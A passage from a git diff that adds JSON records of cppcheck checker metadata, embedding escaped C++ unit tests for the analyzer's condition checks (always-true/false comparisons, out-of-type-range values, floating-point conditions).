\"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkModuloAlwaysTrueFalse.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkModuloAlwaysTrueFalse.json new file mode 100644 index 0000000..0155f88 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkModuloAlwaysTrueFalse.json @@ -0,0 +1,13 @@ +{ + "name": "checkModuloAlwaysTrueFalse", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 25, + "branches": 9, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkPointerAdditionResultNotNull.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkPointerAdditionResultNotNull.json new file mode 100644 index 0000000..082ffc7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkPointerAdditionResultNotNull.json @@ -0,0 +1,22 @@ +{ + "name": "checkPointerAdditionResultNotNull", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 32, + "branches": 12, + "apis": 33, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6009 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* 